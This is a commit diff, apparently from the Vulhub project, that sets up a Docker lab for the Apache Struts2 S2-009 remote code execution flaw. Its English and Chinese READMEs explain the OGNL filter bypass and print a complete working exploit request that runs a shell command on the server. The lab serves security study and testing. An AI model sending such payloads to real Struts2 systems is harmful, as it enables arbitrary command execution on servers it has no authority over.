first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
struts2/s2-009/1.png
Normal file
BIN
struts2/s2-009/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 44 KiB |
10
struts2/s2-009/Dockerfile
Normal file
10
struts2/s2-009/Dockerfile
Normal file
@@ -0,0 +1,10 @@
|
||||
FROM vulhub/tomcat:8.5
|
||||
|
||||
LABEL maintainer="phithon <root@leavesongs.com>"
|
||||
|
||||
RUN set -ex \
|
||||
&& rm -rf /usr/local/tomcat/webapps/* \
|
||||
&& chmod a+x /usr/local/tomcat/bin/*.sh
|
||||
|
||||
COPY S2-009.war /usr/local/tomcat/webapps/ROOT.war
|
||||
EXPOSE 8080
|
84
struts2/s2-009/README.md
Normal file
84
struts2/s2-009/README.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# S2-009 Remote Code Execution Vulnerablity
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Affected Version: 2.1.0 - 2.3.1.1
|
||||
|
||||
Details: http://struts.apache.org/docs/s2-009.html
|
||||
|
||||
## Setup
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
## Reference
|
||||
|
||||
> This vulnerability is derived from s2-003, s2-005. If you want to understand the principle of the vulnerability, you need to read the instructions of s2-005: https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
|
||||
|
||||
[Struts2 vulnerability analysis](https://www.t00ls.net/viewthread.php?tid=21197), as mentioned in the article, the method of introducing OGNL may not only appear in this vulnerability, but may also appear in other Java applications.
|
||||
|
||||
Struts2's repair method for s2-003 is to prohibit static method calls. In s2-005, this restriction can be bypassed directly through OGNL. For the `#` number, use the code `\u0023` or `\43` to bypass; then s2-005's repair is forbidden \ and others special symbols that prevent users submit backslashes.
|
||||
|
||||
However, if a parameter `example` is accepted in the current action, this parameter will be sent to the OGNL expression. So, we can put the OGNL expression code in the `example` parameter and then execute it by `/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`, then bypass defense of special characters such as `#`, `\`.
|
||||
|
||||
## Exploit
|
||||
|
||||
The environment is a struts2 "feature display" website named `Struts Showcase`. We need find an action that accepts the parameter, and type is string.
|
||||
|
||||
First decompress `S2-009.war`. We can see that source code is in the `WEB-INF/src` directory, I generally look for ajax related code.
|
||||
|
||||
Found one in`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`:
|
||||
|
||||
```java
|
||||
public class Example5Action extends ActionSupport {
|
||||
|
||||
private static final long serialVersionUID = 2111967621952300611L;
|
||||
|
||||
private String name;
|
||||
private Integer age;
|
||||
|
||||
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
|
||||
public Integer getAge() { return age; }
|
||||
public void setAge(Integer age) { this.age = age; }
|
||||
|
||||
@Override
|
||||
public String execute() throws Exception {
|
||||
return SUCCESS;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The code is simple, it accepts the name parameter and calls setName to assign it to the private property `this.name`, which is in line with our requirement. Then we go to `WEB-INF/src/java/struts-ajax.xml` to see the URL routing setting:
|
||||
|
||||
```xml
|
||||
<package name="ajax" extends="struts-default">
|
||||
...
|
||||
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
|
||||
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
|
||||
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
|
||||
</action>
|
||||
...
|
||||
</package>
|
||||
```
|
||||
|
||||
We can see `name=example5`, so access the controller by visiting `http://your-ip:8080/ajax/example5.action`. Then put the OGNL exploit code in the name parameter and access the URL:
|
||||
|
||||
```
|
||||
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||
The POC don't have display, so we use `touch /tmp/success` command, and we found that the `success` file has been created to prove that expliot succeeded.
|
||||
|
||||

|
84
struts2/s2-009/README.zh-cn.md
Normal file
84
struts2/s2-009/README.zh-cn.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# S2-009 远程代码执行漏洞
|
||||
|
||||
影响版本: 2.1.0 - 2.3.1.1
|
||||
|
||||
漏洞详情: http://struts.apache.org/docs/s2-009.html
|
||||
|
||||
## 测试环境搭建
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
## 原理
|
||||
|
||||
> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
|
||||
|
||||
参考[Struts2漏洞分析之Ognl表达式特性引发的新思路](https://www.t00ls.net/viewthread.php?tid=21197),文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。
|
||||
|
||||
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于`#`号,同样使用编码`\u0023`或`\43`进行绕过;于是Struts2对s2-005的修复方法是禁止`\`等特殊符号,使用户不能提交反斜线。
|
||||
|
||||
但是,如果当前action中接受了某个参数`example`,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在`example`参数中,然后使用`/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`的方法来执行它,从而绕过官方对`#`、`\`等特殊字符的防御。
|
||||
|
||||
## Exploit构造
|
||||
|
||||
测试环境是一个struts2的“功能展示”网站`Struts Showcase`,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。
|
||||
|
||||
先对`S2-009.war`进行解压(我用binwalk,其实直接zip就可以),可见源码都在`WEB-INF/src`目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。
|
||||
|
||||
找到一个`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`:
|
||||
|
||||
```java
|
||||
public class Example5Action extends ActionSupport {
|
||||
|
||||
private static final long serialVersionUID = 2111967621952300611L;
|
||||
|
||||
private String name;
|
||||
private Integer age;
|
||||
|
||||
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
|
||||
public Integer getAge() { return age; }
|
||||
public void setAge(Integer age) { this.age = age; }
|
||||
|
||||
@Override
|
||||
public String execute() throws Exception {
|
||||
return SUCCESS;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性`this.name`,正是符合我们的要求。然后去`WEB-INF/src/java/struts-ajax.xml`看一下URL路由:
|
||||
|
||||
```xml
|
||||
<package name="ajax" extends="struts-default">
|
||||
...
|
||||
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
|
||||
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
|
||||
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
|
||||
</action>
|
||||
...
|
||||
</package>
|
||||
```
|
||||
|
||||
`name=example5`,所以访问`http://your-ip:8080/ajax/example5.action`即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:
|
||||
|
||||
```
|
||||
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||
由于该POC没有回显,所以调用的是`touch /tmp/success`命令,查看/tmp目录发现已经成功:
|
||||
|
||||

|
||||
|
||||
黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。
|
BIN
struts2/s2-009/S2-009.war
Normal file
BIN
struts2/s2-009/S2-009.war
Normal file
Binary file not shown.
6
struts2/s2-009/docker-compose.yml
Normal file
6
struts2/s2-009/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
struts2:
|
||||
build: .
|
||||
ports:
|
||||
- "8080:8080"
|
Reference in New Issue
Block a user